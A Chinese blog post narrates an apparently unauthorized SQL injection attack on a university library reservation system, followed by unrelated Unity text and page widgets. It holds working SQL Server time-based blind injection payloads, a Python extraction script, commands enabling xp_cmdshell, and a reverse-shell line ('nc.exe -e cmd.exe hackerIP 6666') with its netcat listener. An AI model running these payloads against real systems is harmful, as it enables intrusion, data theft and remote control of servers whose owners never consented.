记一次针对edu的src漏洞挖掘

前排提示

未经授权的渗透都是违法的。我只是手工挖洞而已。并没有对服务器造成很大伤害和破坏。

关键字:sql注入、漏洞挖掘。

---------------------------------------------------------------------------------------------------------------------

真不想挖edu,又不给钱。已经在挖企业的了。就是今晚突然上头了。

历程

1.简单信息收集。

因为挖的是我本科学校。所以比较熟悉各个子域名的网站和业务。

2.找到几个比较薄弱的子域名。

看网页就看得出来比较老。而且业务比较冷门。估计是省钱找便宜的外包做的 或者学生做的。

3.发现了一些水洞。

不稀罕csrf和xss、点击劫持、cors。交都不想交。而且如果要试csrf什么的话,我最好还得有个账号能登录。我已经毕业了。账号都被禁用了。

4.发现了一个大洞。sql注入

就在图书馆预约排座的系统中。我本科学校图书馆主页和这个预约的系统居然是分开的。显示是什么xx空间管理系统。可见是比较容易被忽视的。

注入点

在logonName处

这里数据库发现是sql server  ,而不是常见的mysql。而且其他的注入不行,偏偏加个分号可以进行堆叠注入,发现加上分号之后确实执行了后边的语句,延时了5秒才返回。

爆数据库长度

"logonName":"111';IF LEN(DB_NAME()) > 5 WAITFOR DELAY '00:00:05';--
"logonName":"111';IF LEN(DB_NAME()) > 6 WAITFOR DELAY '00:00:05';--

判断 如果数据库长度大于6 就延时,结果立即返回。说明数据库名字的长度小于等于6.

判断如果数据库长度大于5就延时,结果延时了。说明数据库长度等于6.

下班了继续挖。发现bp里重新发包都是秒回。猜测由于cookie过期了,所以要重新抓包。不能拿我当初这个包去试。

事实证明我想的是对的。

所以有时候一定要常测。别cookie过期了还傻傻的注。影响自己的判断。

写脚本爆数据库名

采用时间盲注

import requests
import time
import json


url = "xxxxxr"
headers = {
    "Host": "xxx",
    "Accept": "application/json, text/plain, */*",
    "lan": "1",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36",
    "Content-Type": "application/json;charset=UTF-8",
    "Origin": "xxx",
    "Referer": "xxx",
    "Accept-Encoding": "gzip, deflate, br",
    "Accept-Language": "zh-CN,zh;q=0.9",
    "Cookie": "xxx",
    "Connection": "close"
}


proxies = {
    "http": "127.0.0.1:10809",
}

# Payload template as a dictionary
payload_template = {
    "logonName": "111';IF ASCII(SUBSTRING(DB_NAME(), {pos}, 1)) < {ascii_val} WAITFOR DELAY '00:00:05';--",
    "password": "OyKwhr0fA1ykE7hODHM2R2TIgCyHlxlqCZhZO7+K0U6rAMskOxAjcwKS5bIHjFi/QhAfoYaebBieCHSgYhsAcpJXfeTm3Edu/dNBAPkEeHeJgnv5lsaLjugviElygNLVFiClAeEBRJJ8jp1hn2/9Qq9cmcsU3yAnU4mra3rqb1Q=",
    "captcha": "",
    "consoleType": 16
}

# Function to test a single position and ASCII value
def test_char_position(pos, ascii_val):
    payload = payload_template.copy()  
    payload["logonName"] = payload["logonName"].format(pos=pos, ascii_val=ascii_val)
    start_time = time.time()
    print(json.dumps(payload))
    response = requests.post(url, headers=headers, data=json.dumps(payload), proxies=proxies)
    elapsed_time = time.time() - start_time
    return elapsed_time

# Function to find character at a specific position
def find_char_at_pos(pos):
    for ascii_val in range(32, 127):  # Printable ASCII range
        elapsed_time = test_char_position(pos, ascii_val)
        print(elapsed_time)
        print(ascii_val)
        if elapsed_time > 5:  # 5 seconds delay indicates true condition
            return chr(ascii_val)
            print("Find!!!!",ascii_val)

        # time.sleep(0.1)
    return None

# Main function to find database name
def find_database_name():
    db_name = ""
    for pos in range(1, 7):  # Assuming length of database name is 6
        char = find_char_at_pos(pos)
        if char:
            db_name += char
            print(f"Found character at position {pos}: {char}")
        else:
            break
    return db_name

# Execute the script
database_name = find_database_name()
print(f"Database name: {database_name}")

最终爆出库名

尝试爆表名

是否存在基本表

"logonName": "111';IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE') WAITFOR DELAY '00:00:05';--"

看看INFORMATION_SCHEMA.TABLES 能不能用(确实可以等5秒)

"logonName":"111';IF (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES ) > 0 WAITFOR DELAY '0:0:5' --"

看看我那个数据库名对不对

"logonName":"111';IF (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_schema ='xxxxx' ) > 0 WAITFOR DELAY '0:0:5' --"

爆表名的时候。唉。为什么他是个sql server 啊,只能在windows跑。为什么会有人把windows当服务器啊。我是真的服。就算用windows  为什么不用mysql、oracle、PostgreSQL?

于是现学sql server语法。关键我还不能再给他拖泥带水装个sql server自己在哪儿跑代码吧,麻烦死了没准还有捆绑软件。windows虚拟机装个这个估计也卡死了。只能这么无回显地进行盲注。

折磨了一会。爆表名实在爆累了。我真的服了用sql server的了。本来想挖出表名和库名就提交src的。

直接拿shell

玩个大的吧。都能有sql注入漏洞了。还是个sql server。想必安全性也不咋样。直接拿shell试试。

搜了一下sql server如何命令执行。原来是有命令执行接口的。

先开设置

"logonName":"111';EXEC sp_configure 'show advanced options', 1; RECONFIGURE;WAITFOR DELAY '00:00:05'; --"

这时候我是堆叠了三条sql语句,仍然停了5秒。说明大概率夹在中间的命令执行成功了,起码没报错。报错了就太可能执行第三个命令延时了。

配置cmd_shell

"logonName":"111';EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;WAITFOR DELAY '00:00:05'; --"

由于在请求体里,不需要url编码。

攻击机VPS开监听:

nc -lvvp 6666

靶机注入:

 "logonName": "111';EXEC xp_cmdshell 'nc.exe -e cmd.exe hackerIP 6666';WAITFOR DELAY '00:00:05'; --",

当我做到这里的时候 感觉有点不正常。。。

气氛突然变诡异了,网站突然上不去了。

过了一会能上去了。但是,我的代理服务器ip被禁了。上不去网站。

我自己的真实ip可以上。

我猜应该是要拿shell那时候被waf告警了。

重新抓包测试。发现再怎么改都无法时间盲注了。

漏洞已被修复。

这程序员这么尽力么。大晚上还干活。

结语

目前高校都越来越重视安全。好点的漏洞都很难挖了。更何况是外校去挖,连登录口令都没有。水洞又不稀罕。

说容易挖也容易挖,谷歌黑客语法能有一堆信息泄露。但是是个人都会啊。

-----------

白忙活。受不了。连个高危漏洞都没交上去。心态崩了。

-----------

其实也无所谓。这样做应该是对的。因为挖个教育src也不给钱,还不如好好挖挖 挖出个严重漏洞很有成就感,交个中危低危。也不给钱。

主要就是抠门导致的。

-----------


 

另附:

教育src提交平台:https://src.sjtu.edu.cn/

  • 19
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Unity物理挖洞是指在Unity游戏引擎中,通过使用物理引擎来实现角色或物体在地面上挖洞的效果。 在Unity物理挖洞中,通常使用的是物理引擎组件,如Mesh Collider和Rigidbody。首先,我们需要给需要挖洞的地面添加Mesh Collider组件,这样地面就具备了物理碰撞功能。然后,给挖洞的工具(例如玩家手中的镐子)添加Rigidbody组件,以便让挖洞工具受到物理引擎的影响。 接下来,我们可以使用Raycast或者Collider.Raycast来检测挖洞的位置。当挖洞工具与地面发生碰撞时,我们可以通过修改地面的网格顶点来模拟挖洞的效果。具体地,我们可以根据挖洞工具的位置和半径,找到所有在工具半径内的顶点,并将它们的高度调整为地面下沉的深度值。 为了实现连续挖洞的效果,我们可以在每次挖洞前将新的地面拷贝一份,并在新的地面上进行挖洞操作。这样,我们就可以实现实时更新地面和连续挖洞的效果。 需要注意的是,Unity物理挖洞需要合理设置物理材质、碰撞体积和刚体参数,以达到符合游戏设计的物理表现效果。此外,挖洞操作也可能会对游戏性能造成一定影响,因此在实现挖洞功能时需要进行适当的优化。 总的来说,Unity物理挖洞是利用物理引擎和碰撞检测技术实现的一种在游戏中让角色或物体能够实时挖掘地面的效果,通过调整地面网格顶点的位置来模拟挖洞的视觉效果。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值